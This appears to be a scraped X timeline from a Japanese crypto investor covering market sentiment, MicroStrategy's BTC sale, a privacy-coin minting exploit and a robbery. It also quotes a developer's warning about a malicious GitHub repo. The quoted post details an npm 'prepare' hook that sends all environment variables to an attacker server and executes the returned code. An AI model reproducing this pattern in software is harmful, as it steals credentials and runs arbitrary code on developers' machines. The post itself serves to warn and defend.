えーちゃん ⚒️ Crypto Base

仮想通貨元年から市場を観測。現在はエアドロが主戦場です。昨今のAIを悪用した攻撃手法多様化を受け活動見直し。防衛を固めつつ経過観察中。

[えーちゃん ⚒️ Crypto Base @ko8744]

これはかなり悪材料ですね。
安くなったら一部ポートフォリオの移行先としてZECなどのプライバシーコインを考えていましたが、このポストと記事を見てだいぶ見え方が変わりました。

プライバシーが守られるメリットがある一方で、バグや不正発行、悪用、そして内部的な異常も見えにくい。
現在進行形で攻撃されていても表面化しづらく、気づいた頃にはかなり浸食されている可能性もある。さらにそれを証明するための検証すら難しい。

中身が健全に保たれているかを外部から確認しづらいので結局よくわからない金庫にお金を預けているというのとかなり近いかもしれない。

[Serpin Taxt @serpinxbt]

I had never considered this as a challenge for privacy coins...

> exploit went unnoticed for years
> could freely mint new zcash:native freely
> could sell those tokens while masking where it came from (!)
> no way of knowing if this already happened or not (!!)

[えーちゃん ⚒️ Crypto Base @ko8744]

ビットコインがベア相場になるとセンチメントが急悪化し始めます。

「今買わないと置いていかれる」
「0.1BTCでも将来億れる」
「早めに準備しておけ」

こう言ってた層がいまではこう言う。

「もうクリプトはオワコン」
「最初から実体のないバブル」
「まだこの電子ゴミを信じてる奴は目を覚ましたほうがいい」

こういう展開は何度も見てきた。
ただ、そういう人たちに限って地合いが良くなるとまた「10年前に買っておけば億れていたのに」とか言い出す。

仮に持てていたとしても大半のホルダーはきっと最初の暴落とその後のFUDラッシュによるメンタル崩壊で微益か損切で手放しているでしょう。

相場が弱い時ほどマイナス材料は目立ちやすくなるし、その裏で淡々と買い集めている大口がいるのもいつものことです。

ベア相場では悪材料に素直に反応しやすいので安く仕込みたい層が待ってましたとばかりにFUDを流してくるパターンも考えられる。

本当に買い向かうべき時はもう少し先になりそうですが、次の上昇相場を外から眺める側にはなりたくないですね。

よく「早くから持てていた人は運がいい」と言う人もいますが長く持ち続けることは想像以上に難しく、それなりの覚悟も必要です。

[えーちゃん ⚒️ Crypto Base @ko8744]

BTCやクリプト界隈でいい感じで悲壮感が出てきてますが、逆にわくわくしてきてるというのは変態なのかもしれんｗ
これがこれまでに何度も繰り返されてきた空気感であり、再現性があるとすれば買い場が近づいているというサインでもある。
かなり久しぶりになりますが買い向かう時は近そう。

[えーちゃん ⚒️ Crypto Base @ko8744]

マイクロストラテジーをビットコインと同列に見るところからまずはやめましょう。

MSTRはBTCを大量保有する企業。
BTCはビットコインそのもの。

今回の件でMSTRの信用が下がるのはわかる。
ただ、それをBTCを手放す理由にしているなら本質を見誤っている。

[えーちゃん ⚒️ Crypto Base @ko8744]

マイクロストラテジーがビットコインを売ったニュースですが、これは普通に好材料じゃないかな。
絶対売らないなんてことは絶対にありえないのは百も承知なわけで、将来の売り圧やブラックスワンの種になりうるよりむしろ早めに市場へ分散されていくほうがいい。

短期的には多少下げ圧力になるかもですが、シェアが分散することで健全な市場になってくるとそれ以上の長期保有層の買いが見込めるはず。
市場が吸収できるペースならどんどん売ってくれていいと思う。

[えーちゃん ⚒️ Crypto Base @ko8744]

NVIDIA・キオクシア......
ビットコインに気を取られすぎてAIバブルに乗り遅れたクリプト民の「こうなって、こうなる」脳内シミュレーション。

大衆心理に振り回されるとなぜか毎回「逆のバス」に飛び乗ってしまう投資の七不思議。
バンドワゴン効果恐るべし。

[えーちゃん ⚒️ Crypto Base @ko8744]

@yuumario1982 他がいろいろ終わってるのでLighterが再評価されてる感じですかねw

[えーちゃん ⚒️ Crypto Base @ko8744]

マイクロストラテジーがビットコインを売ったニュースですが、これは普通に好材料じゃないかな。
絶対売らないなんてことは絶対にありえないのは百も承知なわけで、将来の売り圧やブラックスワンの種になりうるよりむしろ早めに市場へ分散されていくほうがいい。

短期的には多少下げ圧力になるかもですが、シェアが分散することで健全な市場になってくるとそれ以上の長期保有層の買いが見込めるはず。
市場が吸収できるペースならどんどん売ってくれていいと思う。

[CoinPost（仮想通貨メディア） @coin_post]

【速報】

ストラテジー、32BTCのビットコインを売却　2022年以来初

✅優先株配当の原資確保を目的に32BTCを売却
✅5月31日時点の保有残高は843,706BTC

https://t.co/9wvlnFAlm1

[えーちゃん ⚒️ Crypto Base @ko8744]

これはやばい...
マチェットとバットを持った4人組に襲われて強奪されるという事件。
被害者のお二人は相当な恐怖体験だったはずです。

デジタル資産をいくら防御できても武術の達人でもない限り、物理的に襲われたら一般人にはなかなか厳しいと思う。

オフ会やイベントへの参加なども面が割れたり生活圏を特定されうるリスクがありますが、SNS上の発信、過去の漏洩情報、過去の写真（背景や映り込み）、位置情報などが紐づいて標的にされた可能性がある、とポスト主は書かれています。

どこで特定されるかわからないので情報の扱いには十分注意していきたいですね。

[えーちゃん ⚒️ Crypto Base @ko8744]

@CryboCrypto 1ドル👈ほぼ100円、てのが頭にこびりついてるせいでドル払いするたびに「やっす！」って毎回なります😂
円安進みすぎて感覚バグります。

[えーちゃん ⚒️ Crypto Base @ko8744]

@nexus_ai_2045 まさしくですｗ

[えーちゃん ⚒️ Crypto Base @ko8744]

恐ろしい。
開発者の方は十分注意してください。

VS Codeでフォルダを開くだけで動き出し.envの秘密鍵やAPIキー、ブラウザ内のWalletやクレカ情報まで狙われます。
出所不明のリポジトリを安易にローカルで開くのは自殺行為です。
最低でも秘密情報をひとつも置いてない隔離PCやVM環境で実行すべき。

[Fabio Vedovelli @vedovelli74]

⚠️ Devs, parem tudo e leiam. Quase rodei malware na minha máquina agora mesmo e quero que vocês saibam exatamente como funciona o golpe.

Recebi um link de um repo no GitHub: um "MVP" de um projeto web3/poker, com pedido pra clonar e rodar localmente. Visual de teste técnico, daqueles que recruiter manda. Antes de tocar em qualquer coisa, parei e li o código pelo próprio GitHub, sem clonar.

Bem que desconfiei. Era malware. E não um qualquer — tinha DOIS payloads que executam SOZINHOS, sem você rodar nada explicitamente.

🎯 Payload 1 — dispara no `npm install`
O `package.json` tinha `"prepare": "node server/server.js"`. O detalhe maldoso: o script `prepare` roda AUTOMÁTICO toda vez que você dá `npm install`. Dentro dele, escondido nas rotas do servidor, um:

`https://t.co/EHtEFLu5Yg(url, { ...process.env })`

Ou seja: ele empacota TODAS as suas variáveis de ambiente — chaves de AWS, tokens de API, secrets, seed phrase de carteira cripto — e manda pro servidor do atacante. E não para aí: a RESPOSTA do servidor é passada pra `new Function("require", resposta)(require)`. Isso é execução de código arbitrário, com acesso total ao Node: filesystem, child_process, rede. Ele pode roubar suas chaves SSH, instalar persistência, o que quiser.

A URL do atacante? Escondida em base64 no `.env`, decodificando pra um domínio na Vercel. Disfarce em cima de disfarce.

[えーちゃん ⚒️ Crypto Base @ko8744]

@nexus_ai_2045 おっしゃる通りですね。私も同意です。

[えーちゃん ⚒️ Crypto Base @ko8744]

知り合いのショップいわく、これまでに見たことないぐらい商品棚がガラガラになってきてるらしい

[えーちゃん ⚒️ Crypto Base @ko8744]

半月前に10年来のETHを半分売ったけど２日前にガス代だけ残してほぼ手放した。
相次ぐインシデントと未知の脅威のなかでDeFiが使いづらいときたら個人が中長期で保有すべき理由の大部分が奪われてしまってるからですが、次のバブルに向けての仕込みはL1、L2問わずインフラ系通貨はちょっと手が出しづらいかなー。
当面はスマコンや承認リスクから距離を置いた通貨、純粋で安全な価値保存に近い通貨が好まれそうだけどどうだろうね。
となると、ビットコインと何だろうか？

[えーちゃん ⚒️ Crypto Base @ko8744]

BTCやクリプト界隈でいい感じで悲壮感が出てきてますが、逆にわくわくしてきてるというのは変態なのかもしれんｗ
これがこれまでに何度も繰り返されてきた空気感であり、再現性があるとすれば買い場が近づいているというサインでもある。
かなり久しぶりになりますが買い向かう時は近そう。

[えーちゃん ⚒️ Crypto Base @ko8744]

もはやどこに地雷があってもおかしくない世界になってる。
そんな時代でもWEB3活動やBot開発を推奨してる発信者は信用できない。
自己責任とはいえ踏む側の危険を軽く見すぎている。
それ自体が大丈夫でもそこから先で地雷になりうる話であり、少なくともこれが数年で落ち着くような話には見えない。

[えーちゃん ⚒️ Crypto Base @ko8744]

@nexus_ai_2045 たしかにAIに事前チェックやコードレビューをさせるのはかなり有効ですね。 ただスター購入やrepo乗っ取り、最近も問題になりましたが古くなった拡張のレビューごと中身が別のアプリに入れ替わっていたというような事例もいくつもあるので、盲目的に信頼してしまいそうな方は注意が必要かもです。

[えーちゃん ⚒️ Crypto Base @ko8744]

@mejiro_ken おっしゃる通り、隔離PCはもはや必須スキルになりつつありますね。
これまで問題が起きてないのだとしたらそれは運がよかっただけで遅かれ早かれ喰らうんじゃないかと思っています😅

設定ファイルや認証情報の流出とか心労の極みですね。
表面化するまで被害になかなか気付けないところも怖いです...

[えーちゃん ⚒️ Crypto Base @ko8744]

たしかにCodexやClaude CodeでもGitHub repoを扱う場面はありますね。

ただ個人的にはAIが自ら明らかな偽repoを落として実行するケースより、AIからこのファイルが必要なのでここからダウンロードしてください、みたいに案内されたときに検索結果や一文字違いなどの偽repoを正規品と勘違いしてユーザー側のミスでAIに渡してしまうパターンが多そうです。

ですからAIに渡すファイルやrepoが正規のものかしっかり確認することはかなり重要です。

[えーちゃん ⚒️ Crypto Base @ko8744]

@belalhaidar1 おっしゃる通り、未知の危険が水面下で広がっている前提で動くべき時代になってきてると思います。

[えーちゃん ⚒️ Crypto Base @ko8744]

@NextGenRails @vedovelli74 Thank you, this is very helpful 🙏
I’ll keep using detection-related information like this as a reference and stay cautious.